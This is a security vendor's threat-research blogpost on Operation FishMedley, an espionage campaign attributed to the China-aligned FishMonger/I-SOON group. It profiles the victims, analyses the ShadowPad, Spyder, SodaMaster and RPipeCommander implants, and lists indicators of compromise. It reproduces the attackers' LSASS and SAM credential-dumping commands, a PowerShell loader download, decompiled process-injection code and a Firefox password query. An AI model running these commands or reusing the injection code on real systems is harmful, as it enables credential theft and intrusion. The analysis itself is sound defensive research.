Operation FishMedley targeting governments, NGOs, and think tanks

By Matthieu Faou

Archived: 2026-04-02 10:46:12 UTC

On March 5th, 2025, the US DOJ unsealed an indictment against employees of the Chinese contractor I-SOON for their involvement in multiple global espionage operations. Those include attacks that we previously documented and attributed to the FishMonger APT group – I-SOON's operational arm – including the compromise of seven organizations that we identified as being targeted in a 2022 campaign that we named Operation FishMedley.

> **Key points of this blogpost:**
>
> - Verticals targeted during Operation FishMedley include governments, NGOs, and think tanks, across Asia, Europe, and the United States.
> - Operators used implants – such as ShadowPad, SodaMaster, and Spyder – that are common or exclusive to China-aligned threat actors.
> - We assess with high confidence that Operation FishMedley was conducted by the FishMonger APT group.
> - Independent of the DOJ indictment, we determined that FishMonger is operated by I-SOON.

FishMonger profile

FishMonger – a group believed to be operated by the Chinese contractor I-SOON (see our Q4 2023-Q1 2024 APT Activity Report) – falls under the Winnti Group umbrella and is most likely operating out of China, from the city of Chengdu where I-SOON's office was located. FishMonger is also known as Earth Lusca, TAG-22, Aquatic Panda, or Red Dev 10. We published an analysis of this group in early 2020 when it heavily targeted universities in Hong Kong during the civic protests that started in June 2019. We initially attributed the incident to Winnti Group but have since revised our attribution to FishMonger.

The group is known to operate watering-hole attacks, as reported by Trend Micro. FishMonger's toolset includes ShadowPad, Spyder, Cobalt Strike, FunnySwitch, SprySOCKS, and the BIOPASS RAT.

Overview

On March 5th, 2025, the US Department of Justice published a press release and unsealed an indictment against I-SOON employees and officers of China's Ministry of Public Security involved in multiple espionage campaigns from 2016 to 2023. The FBI also added those named in the indictment to its "most wanted" list and published a poster, as seen in Figure 1.

Figure 1. Names of FishMonger / I-SOON members (source: FBI)

The indictment describes several attacks that are strongly related to what we published in a private APT intelligence report in early 2023. In this blogpost, we share our technical knowledge about this global campaign that targeted governments, NGOs, and think tanks across Asia, Europe, and the United States. We believe that this information complements the recently published indictment.

During 2022, we investigated several compromises where implants such as ShadowPad and SodaMaster, which are commonly employed by China-aligned threat actors, were used. We were able to cluster seven independent incidents for this blogpost and have named that campaign Operation FishMedley.

FishMonger and I-SOON

During our research, we were able to independently determine that FishMonger is an espionage team operated by I-SOON, a Chinese contractor based in Chengdu that suffered an infamous document leak in 2024 – see this comprehensive analysis from Harfang Labs.

Victimology

Table 1 shows details about the seven victims we identified. The verticals and countries are diverse, but most are of obvious interest to the Chinese government.

Table 1. Victimology details

Victim	Date of compromise	Country	Vertical
A	January 2022	Taiwan	Governmental organization.
B	January 2022	Hungary	Catholic organization.
C	February 2022	Turkey	Unknown.
D	March 2022	Thailand	Governmental organization.
E	April 2022	United States	Catholic charity operating worldwide.
F	June 2022	United States	NGO – mainly active in Asia.
G	October 2022	France	Geopolitical think tank.

Table 2 summarizes the implants used during each intrusion of Operation FishMedley.

Table 2. Details of the implants used against each victim

Victim | Tool	ScatterBee-packed ShadowPad	Spyder	SodaMaster	RPipeCommander
A	●			
B			●	
C			●	
D	●	●		●
E			●	
F	●		●	
G			●	

Technical analysis

Initial access

We were unable to identify the initial compromise vectors. For most cases, the attackers seemed to have had privileged access inside the local network, such as domain administrator credentials.

At Victim D, the attackers gained access to an admin console and used it to deploy implants on other machines in the local network. It is probable that they first compromised the machine of a sysadmin or security analyst and then stole credentials that allowed them to connect to the console.

At Victim F, the implants were delivered using Impacket, which means that the attackers somehow previously compromised a high-privilege domain account.

Lateral movement

At Victim F, the operators also used Impacket to move laterally. They gathered information on other local machines and installed implants.

Table 3 shows that the operators first did some manual reconnaissance using quser.exe, wmic.exe, and ipconfig.exe. Then they tried to get credentials and other secrets by dumping the local security authority subsystem service (LSASS) process (PID 944). The PID of the process was obtained via tasklist /svc and the dump was performed using comsvcs.dll, which is a known living-off-the-land binary (LOLBIN). Note that it is likely that the attackers executed quser.exe to see whether other users or admins were also logged in, meaning privileged accesses were present in LSASS. According to Microsoft documentation, to use this command the attacker must have Full Control permission or special access permission.

They also saved the registry hives sam.hive and system.hive, which can both contain secrets or credentials.

Finally, they tried to dump the LSASS process again, using a for loop iterating over the output from tasklist.exe. We have seen this same code used on other machines, so it is a good idea to block or at least alert on it.

Table 3. Commands executed via Impacket on a machine at Victim F

Timestamp (UTC)	Command
2022-06-21 07:34:07	quser
2022-06-21 14:41:23	wmic os get lastbootuptime
2022-06-21 14:41:23	ipconfig /all
2022-06-21 14:41:23	tasklist /svc
2022-06-21 14:41:23	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "C:\Windows\System32\rundll32 C:\windows\system32\comsvcs.dll, MiniDump 944 c:\users\public\music\temp.tmp full"
2022-06-21 14:41:23	reg save hklm\sam C:\users\public\music\sam.hive

Timestamp (UTC)	Command
2022-06-21 14:41:23	reg save hklm\system C:\users\public\music\system.hive
2022-06-21 14:41:23	net user
2022-06-22 07:05:37	tasklist /v
2022-06-22 07:07:33	dir c:\users
2022-06-22 09:47:52	for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\YDWS6P.xml full

Toolset

ShadowPad

ShadowPad is a well-known and privately sold modular backdoor, known to only be supplied to China-aligned APT groups, including FishMonger and SparklingGoblin, as documented by SentinelOne. In Operation FishMedley, the attackers used a ShadowPad version packed with ScatterBee.

At Victim D, the loader was downloaded using the following PowerShell command:

powershell (new-object System.Net.WebClient).DownloadFile("http://<victim's_web_server_IP_address>/Images/menu/log.dll";"c:\users\public\log.dll"

This shows that the attackers compromised a web server at the victim's organization to use it as a staging server for their malware.

At Victim F, Firefox was used to download the loader, from http://5.188.230[.]47/log.dll. We don't know whether attackers had interactive access to the machine, whether another piece of malware was running in the Firefox process, or whether the victim was redirected to the download page, say via a watering-hole attack.

log.dll is side-loaded by an old Bitdefender executable (original name: BDReinit.exe) and loads ShadowPad from a file named log.dll.dat, which can be decrypted using the scripts provided in PwC's GitHub repository.

We did not recover the log.dll.dat from the victim's machine, but we found a fake Adobe Flash installer on VirusTotal with the identical log.dll file. The configuration of the ShadowPad payload is provided in Table 4.

Table 4. ShadowPad configuration

Field	Decrypted value
Timestamp	3/14/2022 10:52:16 PM

Field	Decrypted value
Campaign code	2203
File path	%ALLUSERSPROFILE%\DRM\Test\
Spoofed name	Test.exe
Loader filename	log.dll
Payload filename	log.dll.dat
Service name	MyTest2
Alternative service name	MyTest2
Alternative service name	MyTest2
Registry key path	SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Service description	MyTest2
Program to inject into	%ProgramFiles%\Windows Media Player\wmplayer.exe
Alternative injection target	N/A
Alternative injection target	N/A
Alternative injection target	%windir%\system32\svchost.exe
C&C URL	TCP://api.googleauthenticatoronline[.]com:443
Alternative C&C URL	UDP://api.googleauthenticatoronline[.]com:443
Alternative C&C URL	N/A
Alternative C&C URL	N/A
Proxy info string	SOCKS4\n\n\n\n\n
Proxy info string	SOCKS4\n\n\n\n\n
Proxy info string	SOCKS5\n\n\n\n\n
Proxy info string	SOCKS5\n\n\n\n\n

Note that from March 20th, 2022 to November 2nd, 2022, the C&C domain resolved to 213.59.118[.]124, which is mentioned in a VMware blogpost about ShadowPad.

Spyder

At Victim D, we detected another backdoor typically used by FishMonger: Spyder, a modular implant that was analyzed in great detail by Dr.Web.

A Spyder loader was downloaded from http://<a_victim's_web_server_IP_address>/Images/menu/aa.doc and dropped to C:\Users\Public\task.exe around 18 hours after ShadowPad was installed.

The loader – see Figure 2; reads the file c:\windows\temp\guid.dat and decrypts its contents using AES-CBC. The encryption key is hardcoded: F4 E4 C6 9E DE E0 9E 82 00 00 00 00 00 00 00 00. The initialization vector (IV) is the first eight bytes of the key. Unfortunately, we were unable to recover the guid.dat file.

```
FileA = CreateFileA("c:\\windows\\temp\\guid.dat", GENERIC_READ, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
if ( (FileA - 1) > 0xFFFFFFFFFFFFFFFDui64 )
{
  CloseHandle(FileA);
  return 0;
}
else
{
  GetFileSizeEx(FileA, &FileSize);
  lpBuffer = operator new(FileSize.QuadPart);
  memset(lpBuffer, 0, FileSize.QuadPart);
  NumberOfBytesRead = 0;
  if ( ReadFile(FileA, lpBuffer, FileSize.LowPart, &NumberOfBytesRead, 0i64) )
  {
    CloseHandle(FileA);
    *key = 0x9EC6E4F4;
    *&key[4] = 0x829EE0DE;
    *&key[8] = 0i64;
    iv = 0x829EE0DE9EC6E4F4ui64;
    AES::init(aes_ctx, key);
```

Figure 2. Spyder loader

Then, the loader injects the decoded content – likely shellcode – into itself (task.exe process) as seen in Figure 3.

```
_nSize = nSize;
CurrentProcess = GetCurrentProcess();
hProcess = CurrentProcess;
if ( !CurrentProcess )
  return 1i64;
__nSize = _nSize;
lpBaseAddress = VirtualAllocEx(CurrentProcess, 0i64, _nSize, 0x3000u, 0x40u);
_lpBaseAddress = lpBaseAddress;
if ( !lpBaseAddress )
  return 1i64;
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, __nSize, 0i64);
```

Figure 3. Spyder loader – injection part

Despite not obtaining the encrypted final payload, our product did detect a Spyder payload in memory and it was almost identical to the Spyder variant documented by Dr.Web. The C&C server was hardcoded to 61.238.103[.]165.

Interestingly, multiple subdomains of junlper[.]com, a known Spyder C&C domain and a weak homoglyph domain to juniper.net, resolved to 61.238.103[.]165 in 2022.

A self-signed TLS certificate was present on port 443 of the server from May to December 2022, with the thumbprint 89EDCFFC66EDA3AEB75E140816702F9AC73A75F0. According to SentinelOne, it is a certificate used by FishMonger for its C&C servers.

SodaMaster

SodaMaster is a backdoor that was documented by Kaspersky in 2021. APT10 was the first group known to have access to this backdoor but Operation FishMedley indicates that it may now be shared among multiple China-aligned APT groups.

SodaMaster can only be found decrypted in memory and that's where we detected it. Even though we did not recover the full loading chain, we have identified a few samples that are the first step of the chain.

SodaMaster loaders

We found six different malicious DLLs that are abusing legitimate executables via DLL side-loading. They all implement the same decryption and injection routine.

First, the loader reads a hardcoded file, for example debug.png, and XOR decrypts it using a hardcoded 239-byte key. Table 5 summarizes the different loaders. Note that the XOR key is also different in each sample, but too long to be included in the table. Also note that we did not recover any of these encrypted payloads.

Table 5. SodaMaster loaders

SHA-1	DLL name	Payload filename
3C08C694C222E7346BD8 633461C5D19EAE18B661	DrsSDK.dll	<current_directory>\debug.png
D8B631C551845F892EBB 5E7D09991F6C9D4FACAD	libvlc.dll	<current_directory>\vlc.cnf
3A702704653EC847CF91 21E3F454F3DBE1F90AFD	safestore64.dll	<current_directory>\Location
3630F62771360540B667 01ABC8F6C868087A6918	DeElevator64.dll	<current_directory>\Location
A4F68D0F1C72C3AC9D70 919C17DC52692C43599E	libmaxminddb-0.dll	C:\windows\system32\ MsKeyboardFilterapi.dll
5401E3EF903AFE981CFC 2840D5F0EF2F1D83B0BF	safestore641.dll	<current_directory>\Location

Then, the decrypted buffer is injected into a newly created, suspended svchost.exe process – see Figure 4.

```
hProcess = 0i64;
hThread = 0i64;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 104;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
if ( !CreateProcessA(0i64, lpCommandLine, 0i64, 0i64, 0, CREATE_SUSPENDED, 0i64, 0i64, &StartupInfo, &ProcInfo) )
  goto LABEL_6;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 1, ProcInfo.dwProcessId);
nSize = _nSize;
lpBaseAddress = VirtualAllocEx(hProcess, 0i64, _nSize, 0x3000u, PAGE_EXECUTE_READWRITE);// MEM_COMMIT | MEM_RESERVE
_lpBaseAddress = lpBaseAddress;
if ( lpBaseAddress )
{
  if ( WriteProcessMemory(hProcess, lpBaseAddress, _lpBuffer, nSize, 0i64) )
  {
    hThread = F_CreateRemoteThread_NtCreateThreadEx(hProcess, _lpBaseAddress);
```

Figure 4. SodaMaster injection

Finally, the shellcode is executed using either CreateRemoteThread (on Windows XP or older versions) or, on newer Windows versions, via NtCreateThreadEx as shown in Figure 5.

```
  GetVersionExA(&VersionInformation);
  if ( VersionInformation.dwMajorVersion < 6 )
  {
    _hThread = CreateRemoteThread(hProcess, 0i64, 0i64, lpBaseAddress, 0i64, 0, 0i64);
LABEL_5:
    if ( _hThread )
      return _hThread;
    return 0i64;
  }
  ModuleHandleW = GetModuleHandleW(L"ntdll.dll");
  NtCreateThreadEx = GetProcAddress(ModuleHandleW, "NtCreateThreadEx");
  if ( !NtCreateThreadEx )
    return 0i64;
  (NtCreateThreadEx)(hThread, PROCESS_ALL_ACCESS, 0i64, hProcess, lpBaseAddress, 0i64, 0, 0i64, 0i64, 0i64, 0i64);
```

Figure 5. Execution of the injected payload

The last four loaders in Table 5 have additional features:

- They have an export named getAllAuthData that implements a password stealer for Firefox. It reads the Firefox SQLite database and runs the query SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins.
- The last three loaders persist as a service named Netlock, MsKeyboardFiltersrv, and downmap, respectively.

SodaMaster payload

As mentioned above, the SodaMaster payload was publicly analyzed by Kaspersky and the samples we've found don't seem to have evolved much. They still implement the same four backdoor commands (d, f, l, and s) that were present in 2021.

Table 6 shows the configurations from the four different SodaMaster payloads that we identified. Operators used a different C&C server per victim, but we can see that Victims B and C share the same hardcoded RSA key.

Table 6. SodaMaster configuration

Victim	C&C server	RSA key
B	**162.33.178[.]23**	**MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6Cg XMCXql0P3CBGPVU5gAJiTxH0vslwdIpWeWEZZ5eJVk0VK9vA6XfCsc4NDV DPm7M5EH5sxHQjRNfe6H6RqcayAQn2YXd0Yua4S22F9ZmocU7VcPyLQLeV ZoKjcxAgMBAAE=**
C	**78.141.202[.]70**	**MIGJAoGBAOPjO7DslhZvp0t8HNU/NWPIwstzwi61JlevD6TJtv/TZuN6Cg XMCXql0P3CBGPVU5gAJiTxH0vslwdIpWeWEZZ5eJVk0VK9vA6XfCsc4NDV DPm7M5EH5sxHQjRNfe6H6RqcayAQn2YXd0Yua4S22F9ZmocU7VcPyLQLeV ZoKjcxAgMBAAE=**
F	**192.46.223[.]211**	**MIGJAoGBAMYOg+eoTREKaAESDXt3Uh3Y4J84ObD1dfl3dOji0G24UlbHdj Uk3e+/dtHjPsRZOfdLkwtz8SIZZVVt3pJGxgx9oyRtckJ6zsrYm/JIK+7b XikGf7sgs5zCItcaNJ1HFKoA9YQpfxXrwoHMCkaGb9NhsdsQ2k2q4jT68H ygzq19AgMBAAE=**
G	**168.100.10[.]136**	**MIGJAoGBAJ0EsHDp5vtk23KCxEq0tAocvMwn63vCqq0FVmXsY+fvD0tP6N lc7k0lESpB4wGioj2xuhQgcEjXEkYAIPGiefYFovxMPVuzp1FsutZa5SD6 +4NcTRKsRsrMTZm5tFRuuENoEVmOSy3XoAS00mu4MM5tt7KKDlaczzhYJi 21PGk5AgMBAAE=**

RPipeCommander

At Victim D, we captured a previously unknown implant in the same process where Spyder was running. It was probably loaded from disk or downloaded by Spyder. Because its DLL export name was rcmd64.dll, we named this implant RPipeCommander.

RPipeCommander is multithreaded and uses IoCompletionPort to manage the I/O requests of the multiple threads. It creates the named pipe \\.\Pipe\CmdPipe<PID>, where <PID> is the current process ID, and reads from and writes into this pipe.

RPipeCommander is a reverse shell that accepts three commands via the named pipe:

- h (0x68): create a cmd.exe process and bind pipes to the process to send commands and read the output.
- i (0x69): Write a command in the existing cmd.exe process or read the output of the previous command.
- j (0x6A): exit the cmd.exe process by writing exit\r\n in the command shell.

Note that it seems we only have the server side of RPipeCommander. It is likely that a second component, a client, is used to send commands to the server from another machine on the local network.

Finally, RPipeCommander is written in C++ and RTTI information was included in the captured samples, allowing us to obtain some of the class names:

- CPipeServer
- CPipeBuffer
- CPipeSrvEvent
- CPipeServerEventHandler

Other tools

In addition to the main implants described above, the attackers used a few additional tools to collect or exfiltrate data, which we describe in Table 7.

Table 7. Other tools used during Operation FishMedley

Filename	Details
C:\Windows\system32\sasetup.dll	Custom password filter. The export PasswordChangeNotify is called when the user changes their password, and it writes the new password on disk in the current working directory in a log file named etuper.log. Note that it can also exfiltrate the password by sending a POST request to a hardcoded C&C server, with flag=<password> in the POST data. However, this functionality is not enabled in this specific sample and there is no C&C server in the configuration.
C:\Windows\debug\svhost.tmp	The fscan network scanner, available on GitHub.
C:\nb.exe	nbtscan – a NetBIOS scanner.
C:\Users\public\drop.zip	It contains only dbxcli – a tool written in Go to interact with Dropbox. It was likely used to exfiltrate data from the victim's network, but we haven't retrieved any information about the attackers' account. Note that, despite the.zip extension, this is a CAB file. It was downloaded from http://45.76.165[.]227/wECqKe529r.png. Also note that dbxcli seems to have been compiled by the attackers, since the hash (SHA-1:

Filename	Details
	2AD82FFA393937A2353096FE2A2209E0EBC1C9D7) has a very low prevalence in the wild.

Conclusion

In this blogpost, we have shown how FishMonger conducted a campaign against high-profile entities all around the world and was the subject of a US DOJ indictment in March 2025. We also showed that the group is not shy about reusing well-known implants, such as ShadowPad or SodaMaster, even long after they have been publicly described. Finally, we have independently confirmed that FishMonger is a team that is part of the Chinese company I-SOON.

> *For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.*
>
> *ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.*

IoCs

A comprehensive list of indicators of compromise (IoCs) and samples can be found in our GitHub repository.

Files

SHA-1	Filename	Detection	Description
D61A4387466A0C999981086C2C994F2A80193CE3	N/A	Win32/Agent.ADVC	ShadowPad dropper.
918DDD842787D64B244D353BFC0E14CC037D2D97	log.dll	Win32/Agent.ADVC	ScatterBee-packed ShadowPad loader.
F12C8CEC813257890F4856353ABD9F739DEED890	task.exe	Win64/Agent.BEJ	Spyder loader.
3630F62771360540B66701ABC8F6C868087A6918	DeElevator64.dll	Win64/PSW.Agent.CU	SodaMaster loader.
3C08C694C222E7346BD8633461C5D19EAE18B661	DrsSDK.dll	Win64/Agent.CAC	SodaMaster loader.
5401E3EF903AFE981CFC2840D5F0EF2F1D83B0BF	safestore64.dll	Win64/PSW.Agent.CU	SodaMaster loader.
A4F68D0F1C72C3AC9D70919C17DC52692C43599E	libmaxminddb-0.dll	Win64/PSW.Agent.CU	SodaMaster loader.
D8B631C551845F892EBB5E7D09991F6C9D4FACAD	libvlc.dll	Win64/Agent.BFZ	SodaMaster loader.
3F5F6839C7DCB1D164E4813AF2E30E9461AB35C1	sasetup.dll	Win64/PSW.Agent.CB	Malicious password filter.

Network

IP	Domain	Hosting provider	First seen	Details
213.59.118[.]124	api.googleauthenticatoronline[.]com	STARK INDUSTRIES	2022-03-20	ShadowPad C&C server.
61.238.103[.]165	N/A	IRT-HKBN-HK	2022-03-10	Spyder C&C server.
162.33.178[.]23	N/A	BL Networks	2022-03-28	SodaMaster C&C server.
78.141.202[.]70	N/A	The Constant Company	2022-05-18	SodaMaster C&C server.
192.46.223[.]211	N/A	Akamai Connected Cloud	2022-06-22	SodaMaster C&C server.
168.100.10[.]136	N/A	BL Networks	2022-05-12	SodaMaster C&C server.

MITRE ATT&CK techniques

This table was built using version 16 of the MITRE ATT&CK framework.

Tactic	ID	Name	Description
Resource Development	T1583.004	Acquire Infrastructure: Server	FishMonger rented servers at several hosting providers.
	T1583.001	Acquire Infrastructure: Domains	FishMonger bought domains and used them for C&C traffic.
Execution	T1059.001	Command-Line Interface: PowerShell	FishMonger downloaded ShadowPad using PowerShell.
	T1059.003	Command-Line Interface: Windows Command Shell	FishMonger deployed Spyder using a BAT script.
	T1072	Software Deployment Tools	FishMonger gained access to a local admin console, abusing it to run commands on other machines in the victim's network.
Persistence	T1543.003	Create or Modify System Process: Windows Service	Some SodaMaster loaders persist via a Windows service.
Defense Evasion	T1574.002	Hijack Execution Flow: DLL Side-Loading	ShadowPad is loaded by a DLL named log.dll that is side-loaded by a legitimate Bitdefender executable.
	T1140	Deobfuscate/Decode Files or Information	ShadowPad, Spyder, and SodaMaster are decrypted and loaded into memory.

Tactic	ID	Name	Description
Credential Access	T1555.003	Credentials from Password Stores: Credentials from Web Browsers	Some SodaMaster loaders can extract passwords from the local Firefox database.
	T1556.002	Modify Authentication Process: Password Filter DLL	FishMonger used a custom password filter DLL that can write passwords to disk or exfiltrate them to a remote server.
	T1003.001	OS Credential Dumping: LSASS Memory	FishMonger dumped LSASS memory using rundll32 C:\windows\system32\comsvcs.dll, MiniDump.
	T1003.002	OS Credential Dumping: Security Account Manager	FishMonger dumped the security account manager using reg save hklm\sam C:\users\public\music\sam.hive.
Discovery	T1087.001	Account Discovery: Local Account	FishMonger executed net user.
	T1016	System Network Configuration Discovery	FishMonger executed ipconfig /all.
	T1007	System Service Discovery	FishMonger executed tasklist /svc.
	T1057	Process Discovery	FishMonger executed tasklist /v.
Lateral Movement	T1021.002	Remote Services: SMB/Windows Admin Shares	FishMonger used Impacket to deploy malware on other machines in the local network.
Command and Control	T1095	Non-Application Layer Protocol	ShadowPad communicates over raw TCP and UDP.

Source: https://www.welivesecurity.com/en/eset-research/operation-fishmedley/